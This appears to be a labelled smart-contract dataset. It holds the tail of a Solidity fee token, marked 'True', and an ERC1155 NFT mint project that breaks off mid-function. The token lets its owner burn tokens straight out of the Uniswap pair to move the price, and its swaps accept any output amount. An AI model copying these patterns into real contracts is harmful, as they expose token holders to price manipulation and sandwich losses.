require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellBuyBackFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyBuyBackFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {ERC1155Extended} from "./token/ERC1155Extended.sol";
import {AllowList} from "./util/AllowList.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {TwoStepOwnable} from "./util/TwoStepOwnable.sol";
import {CommissionWithdrawable} from "./util/CommissionWithdrawable.sol";
/*
___ ____ _ __ __ __
/ (_) __/__ (_)___ / /_/ /_ ___ ____ ____ ___________ / /___ _____ ___
/ / / /_/ _ \ / / __ \ / __/ __ \/ _ \ / __ \/ __ `/ ___/ ___/ / / __ `/ __ \/ _ \
/ / / __/ __/ / / / / / / /_/ / / / __/ / /_/ / /_/ (__ |__ ) / / /_/ / / / / __/
/_/_/_/ \___/ /_/_/ /_/ \__/_/ /_/\___/ / .___/\__,_/____/____/ /_/\__,_/_/ /_/\___/
/_/
*/
contract CameoPass is
ERC1155Extended,
AllowList,
CommissionWithdrawable,
TwoStepOwnable
{
uint256 private tokenIndex;
constructor(
string memory _name,
string memory _symbol,
string memory _uri,
uint256 _mintPrice
)
ERC1155Extended(
_name,
_symbol,
_uri,
_mintPrice,
3, /* numOptions */
2000, /* maxSupplyPerOption */
6, /* maxMintsPerWallet */
1645142400, /* unlockTime */
0xa5409ec958C83C3f309868babACA7c86DCB077c1 /* openseaProxyAddress */
)
AllowList(
6, /* maxAllowListRedemptions */
0xed2ea62124906818bda99512204fa6beb610c56a9ffead65673043928746a924 /* merkleRoot */
)
CommissionWithdrawable(
0x5b3256965e7C3cF26E11FCAf296DfC8807C01073, /* commissionPayoutAddress */
50 /* commissionPayoutPerMille */
)
{}
///@notice Mint a single token. TokenIds will be distributed evenly among mints.
function mint()
external
payable
virtual
nonReentrant
whenNotPaused
onlyAfterUnlock
includesCorrectPayment(1)
{
_mintAndIncrement();
}
///@notice Mint a quantity of each token ID. Limited to max mints per wallet.
function batchMint(uint256 _quantity)
external
payable
nonReentrant
whenNotPaused
onlyAfterUnlock
includesCorrectPayment(_quantity * 3)
{
_mintAndIncrementBatch(_quantity);
}
///@notice Mint before unlock by providing a Merkle proof. TokenIds will be distributed evenly among mints.
///@param _proof Merkle proof to verify msg.sender is part of allow list
function mintAllowList(bytes32[] calldata _proof)
external
payable
virtual
nonReentrant
whenNotPaused
includesCorrectPayment(1)
onlyAllowListed(_proof)
{
_ensureAllowListRedemptionsAvailableAndIncrement(1);
_mintAndIncrement();
}
///@notice Mint a quantity of each ID by providing a Merkle proof. Limited to max allow list redemptions.
///@param _quantity number of each ID to mint
///@param _proof Merkle proof to verify msg.sender is part of allow list
function batchMintAllowList(uint256 _quantity, bytes32[] calldata _proof)
external
payable
nonReentrant
whenNotPaused
includesCorrectPayment(_quantity * 3)
onlyAllowListed(_proof)
{
_ensureAllowListRedemptionsAvailableAndIncrement(_quantity * 3);
_mintAndIncrementBatch(_quantity);
}
///@notice check/increment appropriate values and mint one token
function _mintAndIncrement() internal {
_incrementTokenIndex();
_ensureSupplyAvailableForIdAndIncrement(tokenIndex % 3, 1);
_ensureWalletMintsAvailableAndIncrement(1);
_mint(msg.sender, tokenIndex % 3, 1, "");
}
///@notice check/increase appropriate values and mint one of each token
function _mintAndIncrementBatch(uint256 _quantity) internal {
_ensureSupplyAvailableAndIncrementBatch(_quantity);
_ensureWalletMintsAvailableAndIncrement(_quantity * 3);
_mint(msg.sender, 0, _quantity, "");
_mint(msg.sender, 1, _quantity, "");
_mint(msg.sender, 2, _quantity, "");
}
///@notice atomically check and increase quantity of each token ID minted
function _ensureSupplyAvailableAndIncrementBatch(uint256 _quantity)
internal
{
// will revert on overflow
if (
(numMinted[0] + _quantity) > MAX_SUPPLY_PER_ID ||
(numMinted[1] + _quantity) > MAX_SUPPLY_PER_ID ||
(numMinted[2] + _quantity) > MAX_SUPPLY_PER_ID
) {
revert MaxSupplyForID();
}
// would have reverted above
unchecked {
numMinted[0] += _quantity;
numMinted[1] += _quantity;
numMinted[2] += _quantity;
}
}
///@notice increments tokenIndex so mints are distributed across IDs, with logic to prevent it from getting stuck
function _incrementTokenIndex() private {
// increment index
++tokenIndex;
// check if index is mintable; increment if not
// stop once we make a complete loop (fully minted out)
for (uint256 i; i < 3; ++i) {
if (numMinted[tokenIndex % 3] >= MAX_SUPPLY_PER_ID) {
++tokenIndex;
} else {
break;
}
}
}
///@notice Initiate ownership transfer to _newOwner. Note: new owner will have to manually claimOwnership
///@param _newOwner address of potential new owner
function transferOwnership(address _newOwner)
public
virtual
override(Ownable, TwoStepOwnable)
onlyOwner
{
if (_newOwner == address(0)) {
revert NewOwnerIsZeroAddress();
}
_potentialOwner = _newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
@notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer
Owner can cancel the transfer at any point before the new owner claims ownership.
Helpful in guarding against transferring ownership to an address that is unable to act as the Owner.
*/
abstract contract TwoStepOwnable is Ownable {
address internal _potentialOwner;
error NewOwnerIsZeroAddress();
error NotNextOwner();
///@notice Initiate ownership transfer to _newOwner. Note: new owner will have to manually claimOwnership
///@param _newOwner address of potential new owner
function transferOwnership(address _newOwner)
public
virtual
override
onlyOwner
{
if (_newOwner == address(0)) {
revert NewOwnerIsZeroAddress();
}
_potentialOwner = _newOwner;
}
///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership
function claimOwnership() public virtual {
if (msg.sender != _potentialOwner) {
revert NotNextOwner();
}
_transferOwnership(_potentialOwner);
delete _potentialOwner;
}
///@notice cancel ownership transfer
function cancelOwnershipTransfer() public virtual onlyOwner {
delete _potentialOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
/**
@notice Contract with convenience modifiers for ensuring functions cannot be called until after a certain block.timestamp.
Note: miners/validators can misreport block.timestamp, but discrepancies would be in the magnitude of seconds or maybe minutes, not hours or days.
*/
contract TimeLock is Ownable {
uint256 public unlockTime;
event UpdateUnlockTime(uint256 oldUnlockTime, uint256 newUnlockTime);
error TimeLocked();
constructor(uint256 _unlockTime) {
unlockTime = _unlockTime;
}
///@notice will revert if block.timestamp is before unlockTime
modifier onlyAfterUnlock() {
if (block.timestamp < unlockTime) {
revert TimeLocked();
}
_;
}
function isUnlocked() public virtual returns (bool) {
return block.timestamp >= unlockTime;
}
///@notice set unlock time. OnlyOwner
///@param _unlockTime epoch timestamp in seconds
function setUnlockTime(uint256 _unlockTime) external onlyOwner {
emit UpdateUnlockTime(unlockTime, unlockTime = _unlockTime);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
///@notice Ownable pausable contract with pause and unpause methods
contract OwnerPausable is Ownable, Pausable {
///@notice pause. OnlyOwner
function pause() external onlyOwner whenNotPaused {
_pause();
}
///@notice Unpause. OnlyOwner
function unpause() external onlyOwner whenPaused {
_unpause();
}
}
// SPDX-License-Identifier: MIT
///@notice Forked from OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.11;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
* @dev converted from a library into a contract since foreign method calls cost extra gas
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
contract MerkleVerifier {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf)
internal
pure
returns (bytes32)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; ++i) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b)
private
pure
returns (bytes32 value)
{
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
///@notice Ownable helper contract to keep track of how many times an address has minted
contract MaxMintable is Ownable {
uint256 public maxMintsPerWallet;
mapping(address => uint256) addressToTotalMinted;
error MaxMintedForWallet();
constructor(uint256 _maxMintsPerWallet) {
maxMintsPerWallet = _maxMintsPerWallet;
}
///@notice set maxMintsPerWallet. OnlyOwner
function setMaxMintsPerWallet(uint256 _maxMints) public onlyOwner {
maxMintsPerWallet = _maxMints;
}
///@notice atomically check and increase number of mints for msg.sender
///@param _quantity number of mints
function _ensureWalletMintsAvailableAndIncrement(uint256 _quantity)
internal
{
if (
(addressToTotalMinted[msg.sender] + _quantity) > maxMintsPerWallet
) {
revert MaxMintedForWallet();
}
unchecked {
addressToTotalMinted[msg.sender] += _quantity;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
///@notice Ownable helper contract to withdraw ether or tokens from the contract address balance
interface IWithdrawable {
function withdraw() external;
function withdrawToken(address _tokenAddress) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IAllowsProxy {
function isProxyActive() external view returns (bool);
function proxyAddress() external view returns (address);
function isApprovedForProxy(address _owner, address _operator)
external
view
returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IAllowList {
error NotAllowListed();
error MaxAllowListRedemptions();
function isAllowListed(bytes32[] calldata _proof, address _address)
external
view
returns (bool);
function setMerkleRoot(bytes32 _merkleRoot) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {IWithdrawable} from "./IWithdrawable.sol";
///@notice Ownable helper contract to withdraw ether or tokens from the contract address balance
contract CommissionWithdrawable is IWithdrawable, Ownable {
address internal immutable commissionPayoutAddress;
uint256 internal immutable commissionPayoutPerMille;
error CommissionPayoutAddressIsZeroAddress();
error CommissionPayoutPerMilleTooLarge();
constructor(
address _commissionPayoutAddress,
uint256 _commissionPayoutPerMille
) {
if (_commissionPayoutAddress == address(0)) {
revert CommissionPayoutAddressIsZeroAddress();
}
if (_commissionPayoutPerMille > 1000) {
revert CommissionPayoutPerMilleTooLarge();
}
commissionPayoutAddress = _commissionPayoutAddress;
commissionPayoutPerMille = _commissionPayoutPerMille;
}
////////////////////////
// Withdrawal methods //
////////////////////////
///@notice Withdraw Ether from contract address. OnlyOwner.
function withdraw() external override onlyOwner {
uint256 balance = address(this).balance;
(
uint256 ownerShareMinusCommission,
uint256 commissionFee
) = calculateOwnerShareAndCommissionFee(balance);
payable(msg.sender).transfer(ownerShareMinusCommission);
payable(commissionPayoutAddress).transfer(commissionFee);
}
///@notice Withdraw tokens from contract address. OnlyOwner.
///@param _token ERC20 smart contract address
function withdrawToken(address _token) external override onlyOwner {
uint256 balance = IERC20(_token).balanceOf(address(this));
(
uint256 ownerShareMinusCommission,
uint256 commissionFee
) = calculateOwnerShareAndCommissionFee(balance);
IERC20(_token).transfer(msg.sender, ownerShareMinusCommission);
IERC20(_token).transfer(commissionPayoutAddress, commissionFee);
}
function calculateOwnerShareAndCommissionFee(uint256 _balance)
private
view
returns (uint256, uint256)
{
uint256 commissionFee;
// commissionPayoutPerMille is max 1000 which is ~2^10; will only overflow if balance is > ~2^246
if (_balance < 2**246) {
commissionFee = (_balance * commissionPayoutPerMille) / 1000;
} else {
// commission fee may be truncated by up to 999000 units (<2**20) – but only for balances > 2**246
commissionFee = (_balance / 1000) * commissionPayoutPerMille;
}
uint256 ownerShareMinusCommission = _balance - commissionFee;
return (ownerShareMinusCommission, commissionFee);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ProxyRegistry} from "./ProxyRegistry.sol";
import {IAllowsProxy} from "./IAllowsProxy.sol";
///@notice Checks approval against a single proxy address configured at deploy for gas-free trading on a marketplace
contract AllowsImmutableProxy is IAllowsProxy, Ownable {
address internal immutable proxyAddress_;
bool internal isProxyActive_;
constructor(address _proxyAddress, bool _isProxyActive) {
proxyAddress_ = _proxyAddress;
isProxyActive_ = _isProxyActive;
}
///@notice toggles proxy check in isApprovedForProxy. Proxy can be disabled in emergency circumstances. OnlyOwner
function setIsProxyActive(bool _isProxyActive) external onlyOwner {
isProxyActive_ = _isProxyActive;
}
function proxyAddress() public view returns (address) {
return proxyAddress_;
}
function isProxyActive() public view returns (bool) {
return isProxyActive_;
}
///@dev to be used in conjunction with isApprovedForAll in token contracts
///@param _owner address of token owner
///@param _operator address of operator
///@return bool true if operator is approved
function isApprovedForProxy(address _owner, address _operator)
public
view
returns (bool)
{
ProxyRegistry proxyRegistry = ProxyRegistry(proxyAddress_);
if (
isProxyActive_ &&
address(proxyRegistry.proxies(_owner)) == _operator
) {
return true;
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {MerkleVerifier} from "./MerkleVerifier.sol";
import {IAllowList} from "./IAllowList.sol";
///@notice Smart contract that verifies and tracks allow list redemptions against a configurable Merkle root, up to a max number configured at deploy
contract AllowList is MerkleVerifier, Ownable {
uint256 public immutable MAX_REDEMPTIONS_PER_ADDRESS;
bytes32 public merkleRoot;
mapping(address => uint256) addressRedemptions;
error NotAllowListed();
error MaxAllowListRedemptions();
constructor(uint256 _maxRedemptions, bytes32 _merkleRoot) {
MAX_REDEMPTIONS_PER_ADDRESS = _maxRedemptions;
merkleRoot = _merkleRoot;
}
///@notice Checks if msg.sender is included in AllowList, revert otherwise
///@param _proof Merkle proof
modifier onlyAllowListed(bytes32[] calldata _proof) {
if (!isAllowListed(_proof, msg.sender)) {
revert NotAllowListed();
}
_;
}
///@notice atomically check and increase allowlist redemptions
///@param _quantity number of redemptions
function _ensureAllowListRedemptionsAvailableAndIncrement(uint256 _quantity)
internal
{
// do the modifier stuff here
if (
(addressRedemptions[msg.sender] + _quantity) >
MAX_REDEMPTIONS_PER_ADDRESS
) {
revert MaxAllowListRedemptions();
}
unchecked {
addressRedemptions[msg.sender] += _quantity;
}
}
///@notice Given a Merkle proof, check if an address is AllowListed against the root
///@param _proof Merkle proof
///@param _address address to check against allow list
///@return boolean isAllowListed
function isAllowListed(bytes32[] calldata _proof, address _address)
public
view
returns (bool)
{
return
verify(_proof, merkleRoot, keccak256(abi.encodePacked(_address)));
}
///@notice set the Merkle root in the contract. OnlyOwner.
///@param _merkleRoot the new Merkle root
function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner {
merkleRoot = _merkleRoot;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {ERC1155} from "../token/ERC1155.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
///@notice Ownable extension of ERC1155 that incldues name, symbol, and uri methods
contract ERC1155Metadata is ERC1155, Ownable {
string public name;
string public symbol;
string internal uri_;
bool public isMetadataFrozen;
error MetadataIsFrozen();
constructor(
string memory _name,
string memory _symbol,
string memory _uri
) {
name = _name;
symbol = _symbol;
uri_ = _uri;
}
//////////////////////
// Metadata methods //
//////////////////////
///@notice gets the URI for a tokenId
///@dev this implementation always returns configured uri regardless of tokenId
///@return string uri
function uri(uint256) public view virtual override returns (string memory) {
return uri_;
}
///@notice set contract base URI if isMetadataFrozen is false. OnlyOwner
///@param _uri new base URI
function setUri(string calldata _uri) external onlyOwner {
if (isMetadataFrozen) {
revert MetadataIsFrozen();
}
uri_ = _uri;
}
///@notice Irreversibly prevent base URI from being updated in the future. OnlyOwner
function freezeMetadata() external onlyOwner {
isMetadataFrozen = true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {ERC1155Metadata} from "../token/ERC1155Metadata.sol";
import {AllowsImmutableProxy} from "../util/AllowsImmutableProxy.sol";
import {MaxMintable} from "../util/MaxMintable.sol";
import {OwnerPausable} from "../util/OwnerPausable.sol";
import {ReentrancyGuard} from "@rari-capital/solmate/src/utils/ReentrancyGuard.sol";
import {TimeLock} from "../util/TimeLock.sol";
///@notice abstract ERC1155 implementation with access control and specialized minting extensions
///@author emo.eth
abstract contract ERC1155Extended is
ERC1155Metadata,
AllowsImmutableProxy,
MaxMintable,
OwnerPausable,
ReentrancyGuard,
TimeLock
{
uint256 public immutable NUM_OPTIONS;
uint256 public immutable MAX_SUPPLY_PER_ID;
uint256 public mintPrice;
mapping(uint256 => uint256) public numMinted;
error InvalidOptionID();
error MaxSupplyForID();
error IncorrectPayment();
constructor(
string memory _name,
string memory _symbol,
string memory _uri,
uint256 _mintPrice,
uint256 _numOptions,
uint256 _maxSupply,
uint256 _maxMintsPerWallet,
uint256 _unlockTime,
address _proxyAddress
)
ERC1155Metadata(_name, _symbol, _uri)
TimeLock(_unlockTime)
MaxMintable(_maxMintsPerWallet)
AllowsImmutableProxy(_proxyAddress, true)
{
name = _name;
symbol = _symbol;
mintPrice = _mintPrice;
NUM_OPTIONS = _numOptions;
MAX_SUPPLY_PER_ID = _maxSupply;
}
////////////////////////////
// Access control helpers //
////////////////////////////
///@notice check that msg includes correct payment for minting a quantity of tokens
///@param _quantity number of tokens to mint
modifier includesCorrectPayment(uint256 _quantity) {
// will revert on overflow
if (msg.value != (mintPrice * _quantity)) {
revert IncorrectPayment();
}
_;
}
///@notice atomically check and increase supply of tokenId
///@param _id tokenId to check
///@param _quantity number being minted
function _ensureSupplyAvailableForIdAndIncrement(
uint256 _id,
uint256 _quantity
) internal {
if (_id >= NUM_OPTIONS) {
revert InvalidOptionID();
}
// will revert on overflow
if ((numMinted[_id] + _quantity) > MAX_SUPPLY_PER_ID) {
revert MaxSupplyForID();
}
unchecked {
numMinted[_id] += _quantity;
}
}
///////////////////////////
// Configuration Methods //
///////////////////////////
///@notice set mint price as used in includesCorrectPayment. OnlyOwner
function setMintPrice(uint256 _mintPrice) external onlyOwner {
mintPrice = _mintPrice;
}
//////////////////
// Mint Methods //
//////////////////
///@notice bulk mint tokens to an address. OnlyOwner
///@param _to receiving address
///@param _id tokenId to mint
///@param _quantity number to mint
function bulkMint(
address _to,
uint256 _id,
uint256 _quantity
) external onlyOwner {
_ensureSupplyAvailableForIdAndIncrement(_id, _quantity);
_mint(_to, _id, _quantity, "");
}
////////////////////////
// Overridden methods //
////////////////////////
///@dev overridden to allow proxy approvals for gas-free listing
function isApprovedForAll(address _owner, address _operator)
public
view
virtual
override
returns (bool)
{
return
isApprovedForProxy(_owner, _operator) ||
super.isApprovedForAll(_owner, _operator);
}
function isValidTokenId(uint256 _id) public view returns (bool) {
return (_id < NUM_OPTIONS);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
/// @notice Minimalist and gas efficient standard ERC1155 implementation.
/// @notice Slightly modified to include an overrideable function for isApprovedForAll, 2022-02-02
/// @author Original: Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)
abstract contract ERC1155 {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event TransferSingle(
address indexed operator,
address indexed from,
address indexed to,
uint256 id,
uint256 amount
);
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] amounts
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
event URI(string value, uint256 indexed id);
/*///////////////////////////////////////////////////////////////
ERC1155 STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => mapping(uint256 => uint256)) public balanceOf;
mapping(address => mapping(address => bool)) public _isApprovedForAll;
/*///////////////////////////////////////////////////////////////
METADATA LOGIC
//////////////////////////////////////////////////////////////*/
function uri(uint256 id) public view virtual returns (string memory);
/*///////////////////////////////////////////////////////////////
ERC1155 LOGIC
//////////////////////////////////////////////////////////////*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
returns (bool)
{
return _isApprovedForAll[owner][operator];
}
function setApprovalForAll(address operator, bool approved) public virtual {
_isApprovedForAll[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
require(
msg.sender == from || isApprovedForAll(from, msg.sender),
"NOT_AUTHORIZED"
);
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, from, to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(
msg.sender,
from,
id,
amount,
data
) == ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
uint256 idsLength = ids.length; // Saves MLOADs.
require(idsLength == amounts.length, "LENGTH_MISMATCH");
require(
msg.sender == from || isApprovedForAll(from, msg.sender),
"NOT_AUTHORIZED"
);
for (uint256 i = 0; i < idsLength; ) {
uint256 id = ids[i];
uint256 amount = amounts[i];
balanceOf[from][id] -= amount;
balanceOf[to][id] += amount;
// An array can't have a total length
// larger than the max uint256 value.
unchecked {
i++;
}
}
emit TransferBatch(msg.sender, from, to, ids, amounts);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155BatchReceived(
msg.sender,
from,
ids,
amounts,
data
) == ERC1155TokenReceiver.onERC1155BatchReceived.selector,
"UNSAFE_RECIPIENT"
);
}
function balanceOfBatch(address[] memory owners, uint256[] memory ids)
public
view
virtual
returns (uint256[] memory balances)
{
uint256 ownersLength = owners.length; // Saves MLOADs.
require(ownersLength == ids.length, "LENGTH_MISMATCH");
balances = new uint256[](owners.length);
// Unchecked because the only math done is incrementing
// the array index counter which cannot possibly overflow.
unchecked {
for (uint256 i = 0; i < ownersLength; i++) {
balances[i] = balanceOf[owners[i]][ids[i]];
}
}
}
/*///////////////////////////////////////////////////////////////
ERC165 LOGIC
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
returns (bool)
{
return
interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155
interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
balanceOf[to][id] += amount;
emit TransferSingle(msg.sender, address(0), to, id, amount);
require(
to.code.length == 0
? to != address(0)
: ERC1155TokenReceiver(to).onERC1155Received(
msg.sender,
address(0),
id,
amount,
data
) == ERC1155TokenReceiver.onERC1155Received.selector,
"UNSAFE_RECIPIENT"
);
}
function _batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal {
